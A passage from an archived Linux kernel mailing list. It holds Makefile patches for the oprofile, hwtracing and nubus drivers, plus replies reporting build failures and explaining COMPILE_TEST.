         zvQ4U9yGA6pljOxRG6mhl8DeIC+iLtMi5n5HQ7lgDVYvedRjtWtYByyx0z+k2tBnn08Y
         lHz01RwXt7ZuNCDc47NnycZ8ndgG5TEqXEa+Gvz0btbYQh3Hl+NB9r4ALdQEEF1Oa5RG
         OoGWq0+oiq/ABCrqgiyrvE3UETVZ1NTKNoWQgTVcaVxIzSojMo5Uo8afBJ/npxSTMNFM
         Eq8Q==
X-Gm-Message-State: ABuFfoiBzGrz4+ur6BKsc0QDcwqpOYahV+5IAeCMMTf0MM0cL8m91UHv
        AkFMExbm4IcNlEEGYm5L6Tw=
X-Google-Smtp-Source: ACcGV63Xe01CTftNrl6zHk5foKXVj+7d8uIiUEiwpBiumC+jIM+F+wFKrVW/7qU5gSvQMLCOYrlLIw==
X-Received: by 2002:ae9:e64b:: with SMTP id x11-v6mr2752267qkl.41.1537926792557;
        Tue, 25 Sep 2018 18:53:12 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id r4-v6sm2067788qtt.92.2018.09.25.18.53.07
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 25 Sep 2018 18:53:12 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881703 gmane.linux.oprofile:13223 gmane.linux.ports.parisc:28998
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881703>

Creates new Makefile to avoid building driver if
'make drivers/oprofile/' is called directly.

This driver is usually built from arch/$ARCH and seems to have
no meaning building alone.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/oprofile/Makefile | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 drivers/oprofile/Makefile

diff --git a/drivers/oprofile/Makefile b/drivers/oprofile/Makefile
new file mode 100644
index 000000000000..6b36c93e9762
--- /dev/null
+++ b/drivers/oprofile/Makefile
@@ -0,0 +1 @@
+#Does nothing, since the source is called from arch/$ARCH/ tree.
\ No newline at end of file
-- 
2.19.0



From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH 7/7] drivers: hwtracing: Adds Makefile to enable building
 from directory.
Date: Tue, 25 Sep 2018 22:53:16 -0300
Lines: 41
Approved: news@gmane.org
Message-ID: <20180926015316.GA14997@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1537926684 22219 195.159.176.226 (26 Sep 2018 01:51:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 01:51:24 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 03:51:19 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g4yyz-0005db-6C
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 03:51:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727460AbeIZIDs (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 04:03:48 -0400
Original-Received: from mail-qt1-f196.google.com ([209.85.160.196]:45187 "EHLO
        mail-qt1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726987AbeIZIDs (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 04:03:48 -0400
Original-Received: by mail-qt1-f196.google.com with SMTP id l2-v6so15636475qtr.12;
        Tue, 25 Sep 2018 18:53:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=UAb82koJUru3xjb0CPohCP8QGMSpSYev3ABFomuLfos=;
        b=evfBGTGw/kRl+TJ3908uM39VEOlJAQ7WRhEwyFI2xxc6HM+7JUe7VEXal2h/DHJoqf
         bhk+Frv3ONDiT0qwax6pt9hMPDWKWzhqHGlub/cPG/tT3ex/C5alYiMmo6CQJAkNC1Qh
         YBDFofJbK0FaMWoAFmmzeIdDVO6d0fyrooRFlt+3Uu7Wf1JTKSEkOXIkjkaDMH9/Xe7Z
         qKMcatZdT8EWtpf/BQH5rVjTqR/yclReGpkEmEDOVlMBoxG0za+0/rTm80Qfl0Gl+i7s
         nMyQ5c6iJlxMWOOZ2mCDGByPEkrPUyzkhTrH5Ni57LpI6eLEpntMbjC2jsvGclXllN+i
         hKYg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=UAb82koJUru3xjb0CPohCP8QGMSpSYev3ABFomuLfos=;
        b=jYB5eLR+7vyjeW4uXohapu7aoHSiX3HBjjx0OyAycUatIE7hF5/aYtHt+6IZ8iedx3
         OU+2VYr71eiebphNQj17LQaLwTifv46SMZ5opYtcl10+tQTXCnJwarQEjk0l/sLOoPCL
         A26dJWqCOcE93G4rkik9hVkkfYsZd+wUWNNXgpivJ4KsNiJHbHMVYUOrnrCH1fIEoR5J
         HHHiJ/aF4k26LedtT+DGezTpGSYwoYFaqXZc5USlWE7AwMujtU9vKs+vK3ggbqyoZaNw
         5Zma6+5IDdnI+sNbqh/4UDMZQcbeUHM3GGEZnpCzppdMSeSDwkjvg0tiFHRlf6Esatz8
         mMJg==
X-Gm-Message-State: ABuFfohdp3uLQ9tfoyiwVtpXBov0ubX2e1VT9RHEuUGGUDxP/KD09OTy
        DnjUdrHuIDNQmjTnyD4LiWk=
X-Google-Smtp-Source: ACcGV62NRAo2ZdurZjS3+a13DVRgK9HSYy5phc30qNQqX4o5+6pn0bjwpDSMoWGZlzBycmakFAUK6Q==
X-Received: by 2002:a0c:fb4d:: with SMTP id b13-v6mr2804875qvq.162.1537926804281;
        Tue, 25 Sep 2018 18:53:24 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id c21-v6sm1960712qtj.22.2018.09.25.18.53.19
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 25 Sep 2018 18:53:23 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881704 gmane.linux.oprofile:13224 gmane.linux.ports.parisc:28999
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881704>

Adds Makefile to enable building the driver using
'make drivers/hwtracing/'.
Changes drivers/Makefile to call the new Makefile directly.
It enables user building this driver without building the whole drivers/
subtree.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/Makefile           | 4 +---
 drivers/hwtracing/Makefile | 3 +++
 2 files changed, 4 insertions(+), 3 deletions(-)
 create mode 100644 drivers/hwtracing/Makefile

diff --git a/drivers/Makefile b/drivers/Makefile
index 578f469f72fb..a237be6b602f 100644
--- a/drivers/Makefile
+++ b/drivers/Makefile
@@ -174,9 +174,7 @@ obj-$(CONFIG_MCB)		+= mcb/
 obj-$(CONFIG_PERF_EVENTS)	+= perf/
 obj-$(CONFIG_RAS)		+= ras/
 obj-$(CONFIG_THUNDERBOLT)	+= thunderbolt/
-obj-$(CONFIG_CORESIGHT)		+= hwtracing/coresight/
-obj-y				+= hwtracing/intel_th/
-obj-$(CONFIG_STM)		+= hwtracing/stm/
+obj-y				+= hwtracing/
 obj-$(CONFIG_ANDROID)		+= android/
 obj-$(CONFIG_NVMEM)		+= nvmem/
 obj-$(CONFIG_FPGA)		+= fpga/
diff --git a/drivers/hwtracing/Makefile b/drivers/hwtracing/Makefile
new file mode 100644
index 000000000000..fe5773caec49
--- /dev/null
+++ b/drivers/hwtracing/Makefile
@@ -0,0 +1,3 @@
+obj-$(CONFIG_CORESIGHT)		+= coresight/
+obj-y				+= intel_th/
+obj-$(CONFIG_STM)		+= stm/
-- 
2.19.0



From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Remove PTE load and fault check from L2_ptep
 macro
Date: Tue, 25 Sep 2018 20:21:01 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <20180926032101.GA2458@roeck-us.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537931942 25897 195.159.176.226 (26 Sep 2018 03:19:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 03:19:02 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: jejb@parisc-linux.org, Helge Deller <deller@gmx.de>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 05:18:58 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g50Lo-0006bM-Pv
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 05:18:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726591AbeIZJbt (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 05:31:49 -0400
Original-Received: from mail-pg1-f195.google.com ([209.85.215.195]:39867 "EHLO
        mail-pg1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726213AbeIZJbs (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 05:31:48 -0400
Original-Received: by mail-pg1-f195.google.com with SMTP id 85-v6so9974693pge.6;
        Tue, 25 Sep 2018 20:21:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=sender:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:user-agent;
        bh=tq1v6y8FRSJfgualfH6XlED5+mcTsMTcFSKmNU7q4IA=;
        b=RScEgiQe1uTmNsWXAMUE4WliWW40AaMfw5KA7qLuVcm/sUPI/BuffIm0Z9XwXrnexQ
         FgNdTtKh4uOeRjC+xQUl2o5QI4EtQ8Ey3qdyjzD/WL+aN/c/DdELT8WPweYRx0mlStSJ
         MSVZeJGOE8Rq+/P49tbRmFInHzBC0stLOqlc2qJbQwPooSttoXy1yJopAhbifuOqHyVx
         Gwlu7aDVc7IUvPmGxMCEtdIAtEq5hFEt7RSi8XV+sBMhAysgZQFROmpUYMvnzYzNEaP6
         AIkQZEkHtR8IQZWs5ZAISs3X3VQcb9Uhl9mBynukNvi4Nr1H3eUBG1MiTmECfXCx5FbQ
         NwfQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:sender:date:from:to:cc:subject:message-id
         :mime-version:content-disposition:user-agent;
        bh=tq1v6y8FRSJfgualfH6XlED5+mcTsMTcFSKmNU7q4IA=;
        b=Hpw9DZrE9AMyfFPH4W82anDaxC7C/UtuHjxbouL5TV2xl46Mk1B3VRyezQpD+v5W8i
         7MSHXMNowg4UYmWBt4alKY18xL8Bnk8KZfTxM6myJWDTCUaQpcq0jNhGo9fNSonNowT/
         ED/KJpRObtMXEAIFQsdIiBfyKnCfbsg8GMSAqpjhZIJJq5qL2qLjh0MUyGtDuVTx2xyv
         t/AzS8Gfa3EczwsXvFo6NqQx0qQC5OmIEhb3Rh5QuYW0ft3TdEGYTV8hF1o/yg+7jUAf
         BgtWDnkNr46OdNktWtsuM15LnWY5+5UByvrtnhzzVpVPTvWf8RGm6u77iUbwcmac/Ier
         O5tA==
X-Gm-Message-State: ABuFfojfEoqrcBOZeUyjLVKtqeXrr5x4ZwIbQd2zUuyUZUMHg+kGQ3T5
        CP0aQvy50OzWShMvdhla5Sw=
X-Google-Smtp-Source: ACcGV63S97NU9zmdsYrFSeAru55zid8dXhiz0ucSbMtXtTWHIZzyPUZr5NIteU5b+GcdeVs8VKEcsw==
X-Received: by 2002:a17:902:aa02:: with SMTP id be2-v6mr3924810plb.294.1537932063628;
        Tue, 25 Sep 2018 20:21:03 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by smtp.gmail.com with ESMTPSA id k26-v6sm5740287pfb.167.2018.09.25.20.21.02
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 25 Sep 2018 20:21:02 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881742 gmane.linux.ports.parisc:29000
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881742>

Hi,

On Sun, Sep 23, 2018 at 10:55:18AM -0400, John David Anglin wrote:
> This change removes the PTE load and present check from the L2_ptep
> macro.  The load and check for kernel pages is now done in the tlb_lock
> macro.  This avoids a double load and check for user pages.  The load
> and check for user pages is now done inside the lock so the fault
> handler can't be called while the entry is being updated.
> 

This patch causes my parisc qemu tests to fail.
Unfortunately I don't have any useful log output; the failure
is silent. Reverting the patch fixes the problem.

Guenter

> Signed-off-by: John David Anglin <dave.anglin@bell.net>
> Signed-off-by: Helge Deller <deller@gmx.de>
> ---
>  arch/parisc/kernel/entry.S | 10 +++++-----
>  1 file changed, 5 insertions(+), 5 deletions(-)
> 
> diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
> index eeee1d2c4b8e..3371472379a6 100644
> --- a/arch/parisc/kernel/entry.S
> +++ b/arch/parisc/kernel/entry.S
> @@ -431,8 +431,6 @@
>  	extru		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
>  	dep		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
>  	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd /* pmd is now pte */
> -	LDREG		%r0(\pmd),\pte
> -	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
>  	.endm
>  
>  	/* Look up PTE in a 3-Level scheme.
> @@ -463,7 +461,7 @@
>  	L2_ptep		\pgd,\pte,\index,\va,\fault
>  	.endm
>  
> -	/* Acquire pa_tlb_lock lock and recheck page is still present. */
> +	/* Acquire pa_tlb_lock lock and check page is present. */
>  	.macro		tlb_lock	spc,ptp,pte,tmp,tmp1,fault
>  #ifdef CONFIG_SMP
>  	cmpib,COND(=),n	0,\spc,2f
> @@ -472,10 +470,12 @@
>  	cmpib,COND(=)	0,\tmp1,1b
>  	nop
>  	LDREG		0(\ptp),\pte
> -	bb,<,n		\pte,_PAGE_PRESENT_BIT,2f
> +	bb,<,n		\pte,_PAGE_PRESENT_BIT,3f
>  	b		\fault
>  	stw		 \spc,0(\tmp)
> -2:
> +2:	LDREG		0(\ptp),\pte
> +	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
> +3:
>  #endif
>  	.endm
>  
> -- 
> 2.7.4


From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Finn Thain <fthain@telegraphics.com.au>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/7] drivers: nubus: Avoids building driver if CONFIG_NUBUS
 is disabled
Date: Wed, 26 Sep 2018 16:45:28 +1000 (AEST)
Lines: 49
Approved: news@gmane.org
Message-ID: <alpine.LNX.2.21.1809261515090.639@nippy.intranet>
References: <20180926015218.GA14964@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1537944173 25594 195.159.176.226 (26 Sep 2018 06:42:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 06:42:53 +0000 (UTC)
Cc: lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: Leonardo Bras <leobras.c@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 08:42:47 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g53X5-0006YC-84
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 08:42:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727330AbeIZM4S (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 08:56:18 -0400
Original-Received: from kvm5.telegraphics.com.au ([98.124.60.144]:48472 "EHLO
        kvm5.telegraphics.com.au" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727151AbeIZM4S (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 08:56:18 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
        by kvm5.telegraphics.com.au (Postfix) with ESMTP id 6DD35299C9;
        Wed, 26 Sep 2018 02:44:51 -0400 (EDT)
In-Reply-To: <20180926015218.GA14964@WindFlash>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881814 gmane.linux.oprofile:13225 gmane.linux.ports.parisc:29001
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881814>

On Tue, 25 Sep 2018, Leonardo Bras wrote:

> Avoids building driver if 'make drivers/nubus/' is called and
> CONFIG_NUBUS is disabled.
> Avoids building proc.o if CONFIG_PROC_FS is enabled but
> CONFIG_NUBUS is disabled.
> 
> Signed-off-by: Leonardo Bras <leobras.c@gmail.com>
> ---
>  drivers/nubus/Makefile | 6 +++---
>  1 file changed, 3 insertions(+), 3 deletions(-)
> 
> diff --git a/drivers/nubus/Makefile b/drivers/nubus/Makefile
> index 6d063cde39d1..827301c4a84f 100644
> --- a/drivers/nubus/Makefile
> +++ b/drivers/nubus/Makefile
> @@ -2,6 +2,6 @@
>  # Makefile for the nubus specific drivers.
>  #
>  
> -obj-y := nubus.o bus.o
> -
> -obj-$(CONFIG_PROC_FS) += proc.o
> +obj-$(CONFIG_NUBUS) := nubus.o
> +nubus-y := bus.o
> +nubus-$(CONFIG_PROC_FS) += proc.o
> 

Did you build this for m68k? It doesn't link for me.

  MODPOST vmlinux.o
drivers/nubus/bus.o: In function `nubus_device_release':
bus.c:(.text+0xd0): undefined reference to `nubus_func_rsrcs'
bus.c:(.text+0xe0): undefined reference to `nubus_func_rsrcs'
bus.c:(.text+0x118): undefined reference to `nubus_func_rsrcs'
bus.c:(.text+0xc2): undefined reference to `nubus_func_rsrcs'
drivers/nubus/proc.o: In function `nubus_devices_proc_show':
proc.c:(.text+0xa): undefined reference to `nubus_first_rsrc_or_null'
proc.c:(.text+0x1c): undefined reference to `nubus_next_rsrc_or_null'
drivers/nubus/proc.o: In function `nubus_proc_rsrc_show':
proc.c:(.text+0x190): undefined reference to `nubus_seq_write_rsrc_mem'
drivers/nubus/proc.o: In function `nubus_proc_add_rsrc_mem':
proc.c:(.text+0x24c): undefined reference to `nubus_dirptr'

Patch 4/7 (drivers/zorro) also causes 'undefined reference' errors. I 
didn't test the others.

-- 


From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/7] Remove errors building drivers/DRIVERNAME
Date: Wed, 26 Sep 2018 09:05:04 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <CAMuHMdXaAuHdCK8aeRucefn_GwkM-uYdFArOBPHD2gM5bdNRwg@mail.gmail.com>
References: <20180926015147.GA14862@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1537945397 16170 195.159.176.226 (26 Sep 2018 07:03:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 07:03:17 +0000 (UTC)
Cc: lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-m68k <linux-m68k@lists.linux-m68k.org>,
        oprofile-list@lists.sf.net,
        Parisc List <linux-parisc@vger.kernel.org>,
        linux-s390 <linux-s390@vger.kernel.org>
To: leobras.c@gmail.com
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 09:03:11 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g53qn-0001BS-79
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 09:03:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727154AbeIZNQo convert rfc822-to-8bit (ORCPT
        <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 09:16:44 -0400
Original-Received: from mail-vs1-f68.google.com ([209.85.217.68]:43987 "EHLO
        mail-vs1-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726467AbeIZNQo (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 09:16:44 -0400
Original-Received: by mail-vs1-f68.google.com with SMTP id y22-v6so1771325vsj.10;
        Wed, 26 Sep 2018 00:05:17 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc:content-transfer-encoding;
        bh=e+HTNIJM+xn+xoUx++zPbQFgb49So6CykUMhycjkewk=;
        b=WV9UUEXTzDFaSyDdlTds7nz4aD8BH4Kjpc0OuZz/EIO7tGkQlVRJB4an+CraYh+89a
         YfAX3gE8G8Rs9HM0nt260ZHTryzmH99RtWVVmkfvuYlVZ+MGN0Mlsc/bnme/9RRzLaxG
         L5u00n0/uzAaZK7eDNh3YjfDBjOBPTepPpImgCF4t2YeM6QY4451mTFWUefxsMiWcm2r
         699bSGpoKgb1+FUFvBN3KY0n1qUIpBhG0rS7dJKMYEqNt96gQoKHQ+FluFMWY3za1vlG
         ZfT1wXilyNtiksRUKrbfGTpAcd6AibaDL5rmgr3MTD0ar5IFGSxJIfpaNyfVExXXH0sV
         Ay4Q==
X-Gm-Message-State: ABuFfogGB1HZ+fP5+zH4ZAbzp+U7xpdG0fRiUWTL1U9iXJiHLqXI1NIi
        CmP3ThEw4URhv2VweJnJCYGSpM2zP8BuJit8sI4=
X-Google-Smtp-Source: ACcGV60Nx27x7f9HmzoyqPToALt25Ks5eSZ1a/83hXDdAEn5OL7Vr+Kv0QXhaTK8Sf6u5SwMtc4CahH33GLD2WdBGBM=
X-Received: by 2002:a67:3a51:: with SMTP id h78-v6mr1234339vsa.63.1537945516501;
 Wed, 26 Sep 2018 00:05:16 -0700 (PDT)
In-Reply-To: <20180926015147.GA14862@WindFlash>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881825 gmane.linux.oprofile:13226 gmane.linux.ports.parisc:29002
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881825>

Hi Leonardo,

Thanks for your patch series!

On Wed, Sep 26, 2018 at 3:51 AM Leonardo Brás <leobras.c@gmail.com> wrote:
> This Patchset changes some driver's Makefile to allow them building
> using the command 'make drivers/DRIVERNAME', if compatible.

Please note that running "make drivers/DRIVERNAME" assumes that you know
exactly what you're doing. In the normal build process, you should just run
"make".

> The changed drivers would return error if the above command was run
> on them, after an x86 allyesconfig.

That is expected, as the DIO, NuBus, and Zorro buses, and PA-RISC and
S390 specific drivers are not supported on x86.
That is also the reason why you cannot enable support for them when configuring
your kernel.

If you want to enable e.g. NuBus support, you have to configure a kernel
for m68k/Mac, and (cross)compile it.

At https://mirrors.edge.kernel.org/pub/tools/crosstool/, you can find cross
compiler binaries for download.  Altermatively, your Linux distribution may
provide cross compiler packages.

> The main reason of this patchset is to allow building lists of
> drivers looking for warnings and errors to be fixed.

We already have COMPILE_TEST for that.
If you want to increase compile coverage, please look into adding
"|| COMPILE_TEST" dependencies to subsystems and drivers that still lack it,
and (if needed) modifying the code to make the result build.

Thanks!

Gr{oetje,eeting}s,

                        Geert

-- 
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds


From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH 6/7] drivers: oprofile: Avoids building driver from direct
 make command
Date: Wed, 26 Sep 2018 09:26:09 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <bf054e64b8284ce5da5f0c361fbb3ee6@sf-tec.de>
References: <20180926015305.GA14994@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1537947054 5852 195.159.176.226 (26 Sep 2018 07:30:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 07:30:54 +0000 (UTC)
User-Agent: Roundcube Webmail/1.3.6
Cc: lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
